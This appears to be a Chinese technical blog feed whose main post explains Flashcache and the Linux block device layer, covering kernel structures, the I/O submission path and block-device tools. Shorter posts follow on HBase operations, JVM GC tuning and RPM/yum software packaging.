所以Facebook的Mohan Srinivasan在2010年开源了Flashcache，将Flash disk做为普通硬盘的cache，这个思路，目前一些尝试也在raid卡硬件层面做尝试，例如LSI的CacheCade Pro，不过之前版本新浪的童鞋测试过似乎性能没有想象的好。Flashcache在淘宝一些核心数据库中已经在线运行了大半年，经过调优后的表现稳定。Flashcache利用了Linux的device mapping机制，将Flash disk和普通硬盘的块设备做了一层映射，在OS中变现为一块普通的磁盘，使用简单，是一个值得推荐的方案。Flashcache最初的实现是write backup机制cache，后来又加入了write through和write around机制：

write backup: 先写入到cahce，然后cache中的脏块会由后台定期刷到持久存储。
write through: 同步写入到cache和持久存储。
write around: 只写入到持久存储。

在详细的介绍Flashcache之前，需要先了解一下Linux的block device和device mapper相关的知识。

1. Block Device
块设备最初主要是依据传统硬盘等IO操作较慢的设备而设计的，所以Linux中为块设备的IO操作提供了cache层，所以基于块设备的请求一般是buffer io，当然后来由于数据库等自己有cache机制的应用，os/fs层面的cache就成了多余，所以出现了绕过os/fs层cache的direct io。

块设备在设备确定层和kernel之间，为Kernel提供了统一的IO操作接口，同时隐藏了不同硬件设备的细节。当有多个并发IO请求到块设备时，请求的顺序会影响IO的性能，因为普通的机械硬盘需要移动机械臂，所以kernel一般会对IO做排序等调度后再发送到块设备层。IO调度算法是一种电梯算法(elevator algorithm)，目前主要有cfq/deadline/anticipatory/noop，其中cfq是Linux的默认策略;anticipatory在新的内核中已经放弃;deadline在大部分OLTP数据库应用中更具优势，IO的响应时间更稳定些;noop只对IO请求进行简单的合并，其他不干涉，在FusionIO等IO性能很好的设备上，noop反而更具优势，所以FusionIO的驱动默认使用了noop。关于IO Scheduler，后文会有更详细的解释。

块设备在用户空间是一种特殊的文件类型，由(major,minor)来标识，major区分disk，minor区分partition。Linux中一般把设备文件放在/dev目录。实际上你完全可以将块设备文件创建到其他地方，只要(major,minor)唯一确定，块设备文件最后访问的起始同一个块设备。

$ls -l /dev/sda1
brw-rw—- 1 root disk 8, 1 2011-12-03 01:00 /dev/sda1

$sudo mknod /opt/sda1 b 8 1

$ls -l /opt/sda1
brw-r–r– 1 root root 8, 1 2011-12-03 11:54 /opt/sda1

由于块设备处于文件系统和物理设备驱动之间，在这一层做一些工作可以对所有IO产生影响，因此很多优秀的产品都在这一层做文章，除了Flashcache，还有一个比较著名的就是DRBD（DRBD已经进入2.6.33内核）。

在Linux内核中定义了一些操作块设备相关的结构体和函数，下面的信息基于2.6.32.49:

1.1 gendisk

gendisk保存了一个具体的disk的信息，包括该disk上的请求队列，分区列表/第一个分区，块设备操作表等重要信息。

struct gendisk {
    struct request_queue *queue;
    struct disk_part_tbl *part_tbl;
    struct hd_struct part0;
    const struct block_device_operations *fops;
    ...
};

1.2 hd_struct

hd_struct保存一个分区信息，包括起始扇区，扇区数，分区号等基本信息。

struct hd_struct {
    sector_t start_sect;
    sector_t nr_sects;
    int      partno;
    ...
};

1.3 disk_part_tbl

disk_part_tbl保存磁盘分区表的信息

struct disk_part_tbl {
    struct rcu_head rcu_head;
    int len;
    struct hd_struct *last_lookup;
    struct hd_struct *part[];
};

1.4 block_device

block_device可以是整个磁盘，也可以是一个分区。如果是一个分区块设备，则bd_contains会指向分区所在磁盘的block_device，bd_part则指向分区信息结构hd_struct。。

struct block_device {
    dev_t                    bd_bdev;
    struct inode            *bd_inode;
    struct list_head         bd_inodes;
    struct super_block      *bd_super;
    struct block_device     *bd_contains;
    struct gendisk          *bd_disk;
    struct hd_struct        *bd_part;
    struct list_head         bd_list;
    struct backing_dev_info *bd_inode_backing_dev_info;
    ...
};

1.5 buffer_head

顾名思义，在内核层对块设备的IO请求是以块为单位的。buffer_head是一个块在内存中的元数据信息。b_data指向该块数据的实际地址。b_this_page则将通过一page中的块连接起来。以前版本的buffer_head是fs到block device的io请求单元，现在已经改为bio了。

struct buffer_head {
    unsigned long        b_state;
    struct buffer_head   *b_this_page;
    char                 *b_data;
    sector_t              blocknr;
    struct block_device  *b_bdev;
    bh_end_io_t          *b_end_io;
    ...
};

1.6 bio

bio封装了一次实际的块设备io请求。这是块设备io请求的基本单位。bi_vcnt表示bio_vec的数目。

struct bio {
    sector_t             bi_sector;
    struct bio          *bi_next;
    struct block_device *bi_bdev;
    unsigned short       bi_vcnt;
    unsigned short       bi_idx;
    struct bio_vec      *bi_io_vec;
    ...
};

1.7 bio_vec

bio_vec表示一次bio涉及到的数据片段(segment)，由所在内存页地址，长度，偏移地址等定位。一次bio一般包含多个segment。

struct bio_vec {
    struct page            *bv_page;
    unsigned int            bv_len;
    unsigned int            bv_offset;
};

1.8 request

块设备层IO等待请求(pending I/O request)。内核中的bio请求在经过io调度排序后进入块设备层，会尝试合并到已有的requst。bio结构中的bi_next将队列中的bio请求串成一个队列。bio/biotail域指向队列的首尾。

struct request {
    struct list_head            queuelist;
    struct bio                 *bio;
    struct bio                 *biotail;
    void                       *elevator_private;
    void                       *elevator_private2;
    struct gendisk             *rq_disk;
    request_queue_t            *q;
    ...
};

1.8 request_queue

request_queue维护块设备层IO请求队列，队列中包含多个request。request_queue同时定义了处理队列的函数接口，不同的设备注册时需要实现这些IO处理接口。

struct request_queue {
    struct list_head            queue_head;
    struct request             *lastmerge;
    elevator_t                 *elevator;
    struct request_list         rq;
    request_fn_proc            *request_fn;
    make_request_fn            *make_request_fn;
    prep_rq_fn                 *prep_rq_fn;
    unplug_fn                  *unplug_fn;
    merge_bvec_fn           *merge_bvec_fn;
    prepare_flush_fn        *prepare_flush_fn;
    softirq_done_fn         *softirq_done_fn;
    rq_timed_out_fn         *rq_timed_out_fn;
    dma_drain_needed_fn     *dma_drain_needed;
    lld_busy_fn             *lld_busy_fn;
    struct blk_trace           *blk_trace;
    ...
};

1.9 submit_bh

submit_bh是内核发送IO请求给块设备的函数，目前较新版本的内核中该函数会调用submit_bio执行实际请求。

int submit_bh(int rw, struct buffer_head * bh)
{
    struct bio *bio;
    int ret = 0;
    ...
    bio = bio_alloc(GFP_NOIO, 1);

    bio->bi_sector = bh->b_blocknr * (bh->b_size >> 9);
    bio->bi_bdev = bh->b_bdev;
    bio->bi_io_vec[0].bv_page = bh->b_page;
    bio->bi_io_vec[0].bv_len = bh->b_size;
    bio->bi_io_vec[0].bv_offset = bh_offset(bh);

    bio->bi_vcnt = 1;
    bio->bi_idx = 0;
    bio->bi_size = bh->b_size;

    bio->bi_end_io = end_bio_bh_io_sync;
    bio->bi_private = bh;
    bio_get(bio);
    submit_bio(rw, bio);
    if (bio_flagged(bio, BIO_EOPNOTSUPP))
        ret = -EOPNOTSUPP;

    bio_put(bio);
    return ret;
}

1.10 submit_bio

submit_bio函数会调用generic_make_request执行实际的bio请求。generic_make_request则循环处理bio链表，针对每个bio调用内联函数__generic_make_request来做处理。__generic_make_request则最终调用request_queue中的make_request_fn处理函数处理实际的IO请求。

void submit_bio(int rw, struct bio *bio)
{
    ...
    generic_make_request(bio);
}

...
static inline void __generic_make_request(struct bio *bio)
{
    struct request_queue *q;
    int ret;
    ...
    do{
      q = bdev_get_queue(bio->bi_bdev);
      ...
      ret = q->make_request_fn(q, bio);
    }while(ret);
    ...

}

2. Block device相关的工具

Linux提供了一些工具来操作和查看块设备，如果你的系统中没有，可以安装最新版本的util-linux-ng来获得，实际上很多常用的工具都是出自整个工具集，本文后续也会用到其中一些有意思的工具。

2.1 lsblk

RHEL6.1中已经带有该工具。下面是一台已经配置好Flashcache的机器上执行的结果：

$lsblk
NAME                MAJ:MIN RM   SIZE RO MOUNTPOINT
sda                     8:0    0   200G  0
├─sda1                8:1    0   128M  0 /boot
├─sda2                8:2    0  14.7G  0 /
├─sda8                8:8    0     2G  0 [SWAP]
sdb                     8:16   0   1.5T  0
└─sdb1                8:17   0   1.5T  0
  └─cachedev (dm-0) 253:0    0   1.5T  0 /opt
fioa                  252:0    0 300.4G  0
└─cachedev (dm-0)   253:0    0   1.5T  0 /opt

2.2 blkid

blkid可以块设备的属性，不带参数也会列出系统中所有的块设备。

$ sudo blkid
/dev/sda1: UUID="0ff3ff63-d214-4d32-8633-66a4333fece9" TYPE="ext4"
/dev/sda6: UUID="d328b838-9043-438d-81b8-6a96454def3c" TYPE="swap"

2.3 blockdev

blockdev，不仅可以查看，也可以设置块设备的一些属性。

$ blockdev

用法:
  blockdev -V
  blockdev --report [devices]
  blockdev [-v|-q] commands devices

可用的命令:
	--getsz                        获得512字节的段大小
	--setro                        设置只读
	--setrw                        设置读写
	--getro                        获得只读
	--getss                        get logical block (sector) size
	--getpbsz                      get physical block (sector) size
	--getiomin                     get minimum I/O size
	--getioopt                     get optimal I/O size
	--getalignoff                  get alignment offset
	--getmaxsect                   get max sectors per request
	--getbsz                       获得块大小
	--setbsz BLOCKSIZE             设置块大小
	--getsize                      获得 32-bit 段数量
	--getsize64                    获得字节大小
	--setra READAHEAD              设置 readahead
	--getra                        获取 readahead
	--setfra FSREADAHEAD           设置文件系统 readahead
	--getfra                       获取文件系统 readahead
	--flushbufs                    刷新缓存
	--rereadpt                     重新读取分区表

2.4 fdisk

当然常用的fdisk也是管理块设备的利器。

$ sudo fdisk -l /dev/sda4

Disk /dev/sda4: 136.5 GB, 136492089344 bytes
255 heads, 63 sectors/track, 16594 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0x00000000

2.5 blktrace

blktrace是跟踪块设备IO请求情况的利器。

blktrace is a block layer IO tracing mechanism which provides detailed information about request queue operations up to user space.

核心系统部的褚霸童鞋详细的介绍了这个个工具，有兴趣的移步这里，这里，还有这里。

2.6 lscpu

顺带说一下，lscpu也是一个很有用的工具，下面是2路intel L5630的主机上打印出来的信息，L5630是intel的低功耗CPU，额定功率只有常用的x5620的一半左右。

$sudo lscpu
Architecture:          x86_64
CPU op-mode(s):        32-bit, 64-bit
Byte Order:            Little Endian
CPU(s):                16
On-line CPU(s) list:   0-15
Thread(s) per core:    2
Core(s) per socket:    4
CPU socket(s):         2
NUMA node(s):          2
Vendor ID:             GenuineIntel
CPU family:            6
Model:                 44
Stepping:              2
CPU MHz:               2127.973
BogoMIPS:              4255.85
Virtualization:        VT-x
L1d cache:             32K
L1i cache:             32K
L2 cache:              256K
L3 cache:              12288K
NUMA node0 CPU(s):     0,2,4,6,8,10,12,14
NUMA node1 CPU(s):     1,3,5,7,9,11,13,15

未完待续

参考：
[1]. Linux Block Device Architecture
[2]. Block devices and volume management in Linux

HBase运维碎碎念

NinGoo — Mon, 27 Jun 2011 15:19:39 +0800

最近开始看HBase，幸运的是，现在HBase社区已经非常的活跃，网络上可以找到大量的参考资料。但对于大集群的运维经验，还有待积累。上周在团队内部简单分享了一下这段时间的读书总结，现在把PPT放出来。

这个PPT只是个读书笔记，可能有些理解有误的地方，如果发现了，请一定要留下评论。

Hbase运维碎碎念

View more presentations from seaman ning

关于HBase的一些零碎事

NinGoo — Sat, 18 Jun 2011 10:15:27 +0800

随着Facebook使用HBase来构建实时消息系统，基于Hadoop的面向列存储的HBase持续升温。

目前稳定版本的HBase0.90.2只能基于Hadoop0.20.x系列版本，暂不支持最新的0.21.x。而且官方版本的Hadoop0.20.2（或者0.203.0）缺少一个重要的特性，HDFS不支持sync模式的持久，这样HBase就有较大的丢失数据的风险。要在生产环境使用HBase，有两个选择，一是使用Cloudera的CDH3版本，Cloudera就类似MySQL的Percona，对官方版本的Hadoop做了很多改进工作，而且经典的《Hadoop：The Definitive Guide》一书的作者Tom White就是Cloudera的一员，这也和《High performance MySQL》一书的作者主要来是Percona一样。另外一种选择，就是自行编译Hadoop branch-0.20-append源码分支，这里有详细的说明。

对于HBase这种类似BigTable的系统，其优化之一是消除了磁盘的随机写。付出的代价是将最新的数据保存在内存表中，对内存有较大的需求。如果内存表的数量较多，则每个内存表就会在较小的时候刷到磁盘，导致磁盘文件多而且小。范围读取数据的时候就会跨多个数据文件甚至多个节点。为提升读性能，系统都会设计有compaction操作。另外为了防止某些情况下数据文件过大（hbase.hregion.max.filesize，默认256M，太大的数据文件在compaction等操作是对内存的消耗更大），HBase也设计了split操作。Compaction和Split操作，对于在线应用的响应时间都容易造成波动，他们的策略需要根据应用的特性进行调整。建议在业务低峰期手工调整。

HBase的regionserver宕机超过一定时间后，HMaster会将其所管理的region重新分布到其他存活的regionserver，由于数据和日志都持久在HDFS中，因此该操作不会导致数据丢失。但是重新分配的region需要根据日志恢复原regionserver中的内存表，这会导致宕机的region在这段时间内无法对外提供服务。而一旦重分布，宕机的节点起来后就相当于一个新的regionserver加入集群，为了平衡，需要再次将某些region分布到该server。因此这个超时建议根据情况进行调整，一般情况下，宕机重启后即可恢复，如果重启需要10分钟，region重分布加恢复的时间要超过5分钟，那么还不如等节点重启。Region Server的内存表memstore如何在节点间做到更高的可用，是HBase的一个较大的挑战。Oceanbase也是采用内存表保持最新的更新数据，和HBase不同的是，Oceanbase使用的是集中的UpdateServer，只需要全力做好UpdateServer的容灾切换即可对业务连续性做到最小影响。分布还是集中，哪些功能分布，哪些功能集中，各自取不同平衡，是目前大部分分布式数据库或者存储的一个主要区别。当然，像Cassandra这种全分布的，架构上看起来很完美，实际应用起来反而问题更多。

对于java应用，线上运维最大的挑战之一就是heap内存管理。GC的不同方式，以及使用内存表和cache对内存的消耗，可能导致局部阻塞应用或者stop the world全局阻塞或者OOM。因此HBase的很多参数设置都是针对这两种情况。HBase使用了较新的CMS GC（-XX:+UseConcMarkSweepGC -XX:+CMSIncrementalMode）。

默认触发GC的时机是当年老代内存达到90%的时候，这个百分比由 -XX:CMSInitiatingOccupancyFraction=N 这个参数来设置。concurrent mode failed发生在这样一个场景：
当年老代内存达到90%的时候，CMS开始进行并发垃圾收集，于此同时，新生代还在迅速不断地晋升对象到年老代。当年老代CMS还未完成并发标记时，年老代满了，悲剧就发生了。CMS因为没内存可用不得不暂停mark，并触发一次全jvm的stop the world（挂起所有线程），然后采用单线程拷贝方式清理所有垃圾对象。这个过程会非常漫长。为了避免出现concurrent mode failed，我们应该让GC在未到90%时，就触发。

通过设置 -XX:CMSInitiatingOccupancyFraction=N

这个百分比，可以简单的这么计算。如果你的 hfile.block.cache.size 和 hbase.regionserver.global.memstore.upperLimit 加起来有60%（默认），那么你可以设置 70-80，一般高10%左右差不多。

（以上CMS GC的说明引自HBase性能调优）

目前关于HBase的书不多，《Hadoop： The Definitive Guide》第二版有一章，另外最权威的要算官方的这本电子书了。

这篇是最近看HBase过程中的一些零碎的东西，记录于此备忘。

使用RPM&YUM进行基础软件管理

NinGoo — Wed, 25 May 2011 23:15:13 +0800

上周花时间研究了下RPM打包的方法，今天和团队分享了一次。之前我们采用shell脚本进行批量的MySQL安装，虽然通过不断改进的脚本，批量安装部署的效率已经算不错。但即使是安装MySQL这样简单的事情，不断提升效率，在大规模的环境中也是会带来更多的收益。

追求简单，做到极致，共勉之。

使用Rpm&yum进行基础软件管理

View more presentations from seaman ning

您可能也喜欢：
DBA备忘录：Online rebuild index遭遇ORA-08104	ORA-00494与Oracle10.2.0.4	关于Oracle Companion CD	Oracle Price Lists	Oracle11g将于7月11号在New York正式发布
无觅

您可能也喜欢：
深入浅出Flashcache（一）	Oracle12G将不再支持裸设备？	Oracle11gR1 for linux x86 64位版本可以下载了	Oracle11gR1 for Linux可以下载了	PPLive，网络电视时代来临
无觅

您可能也喜欢：
深入浅出Flashcache（一）	Oracle12G将不再支持裸设备？	继续给鲜果抓Bug	转载：EMC存储平台Symmetrix DMX-3在淘宝网成功应用	Oracle Database Internals Newsletter October 2007
无觅

您可能也喜欢：
深入浅出Flashcache（四）	SSD硬盘时代即将到来？	Windows平台不支持32k的block size	SSD硬盘的IO性能测试	Oracle11gR1 for Linux可以下载了
无觅

您可能也喜欢：
深入浅出Flashcache（四）	SSD硬盘时代即将到来？	Windows平台不支持32k的block size	SSD硬盘的IO性能测试	Oracle11gR1 for Linux可以下载了
无觅

您可能也喜欢：
关于HBase的一些零碎事	OOW2009美国行:大会第四天	关于Oracle Companion CD	雪色杭州，百年一遇	OOW2009美国行:大会第二天
无觅

您可能也喜欢：
HBase运维碎碎念	在Redhat Entrerprise Linux 5上安装Oracle11g截图欣赏	Apache Derby Database介绍	Cognos DecisionStream简介(一)	使用MySQL Proxy和MySQL Replication实现读写分离
无觅